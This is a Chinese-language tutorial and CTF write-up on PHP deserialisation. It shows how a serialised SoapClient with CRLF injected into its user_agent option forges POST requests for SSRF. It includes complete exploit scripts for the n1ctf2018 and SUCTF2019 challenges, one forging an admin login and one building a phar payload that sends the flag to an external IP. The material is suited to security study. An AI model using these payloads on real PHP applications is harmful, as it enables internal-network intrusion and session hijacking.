序列化中的魔术方法
https://www.php.net/manual/zh/language.oop5.magic.php
construct(), destruct(), call(), callStatic(), get(), set(), isset(), unset(), sleep(), wakeup(), toString(), invoke(), set_state(), clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)
构造函数
__construct
对象被创建的时候调用析构函数
__destruct
对象被销毁的时候调用方法重载
__call
在对象中调用一个不可访问方法时调用方法重载
__callStatic
在静态上下文中调用一个不可访问方法时调用在给不可访问属性赋值时,
__set()
会被调用。读取不可访问属性的值时,
__get()
会被调用。当对不可访问属性调用
isset()
或empty()
时,__isset()
会被调用当对不可访问属性调用
unset()
时,__unset()
会被调用__sleep()
在serialize()
函数执行之前调用__wakeup()
在unserialize()
函数执行之前调用__toString
在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists()判断也会触发
php中的内置类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
SoapClient __call
方法
SOAP
: Simple Object Access Protocol
简单对象访问协议
采用HTTP作为底层通讯协议,XML作为数据传送的格式
__call
方法: https://www.php.net/manual/zh/soapclient.call.php
首先测试下正常情况下的SoapClient
类,调用一个不存在的函数,会去调用__call
方法
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
CRLF漏洞
从上图可以看到,SOAPAction
处可控,可以把\x0d\x0a
注入到SOAPAction
,POST请求的header就可以被控制
<?php
$a = new SoapClient(null,array('uri'=>"bbb\r\n\r\nccc\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
但Content-Type
在SOAPAction
的上面,就无法控制Content-Typ
,也就不能控制POST的数据
在header里User-Agent
在Content-Type
前面
https://www.php.net/manual/zh/soapclient.soapclient.php :
The user_agent option specifies string to use in User-Agent header.
user_agent
同样可以注入CRLF
,控制Content-Type
的值
wupco
<?php
$target = 'http://127.0.0.1:5555/path';
$post_string = 'data=something';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;
$c = unserialize($aaa);
$c->not_exists_function();
?>
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求。
Deserialization + __call + SoapClient + CRLF = SSRF
CTF题目
以下只关注SSRF的利用,其他知识点不再赘述
n1ctf2018 easy_harder_php
https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
拿到admin密码之后,需要从127.0.0.1登陆,用到SSRF,通过注入a`, {serialize object});#
引发反序列化漏洞
反序列化后的SoapClient
对象去调用不存在的getcountry
方法,调用__call
,实现SSRF
控制PHPSESSID为自己的session,SSRF来进行admin登陆
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
再使用上面的PHPSESSID访问,就是admin了
SUCTF2019 upload-lab2
https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload%20Labs%202
题目可以上传文件,检查文件类型
在admin.php
中
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口
$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
需要通过本地来访问,执行$admin->check();
在Ad
类中
function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
直接就能拿到flag
在class.php
中,File
类的getMIME
方法调用了finfo_file
函数
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}
finfo_file/finfo_buffer/mime_content_type
均通过_php_finfo_get_type
间接调用了关键函数php_stream_open_wrapper_ex
,导致均可以使用phar://
触发 phar反序列化
File
类的__wakeup
方法通过反射初始化了一个类并调用了其check
成员方法。将类名改为SoapClient
,调用check
方法时就会去调用__call
方法,实现SSRF
exp:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
class File {
public $file_name = "";
public $func = "SoapClient";
function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
Referer
https://www.anquanke.com/post/id/153065
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
https://xz.aliyun.com/t/2148
相关实验:SSRF攻击与防御
扫码实验
推荐丨SSRF攻击与防御
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:edu@heetian.com
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!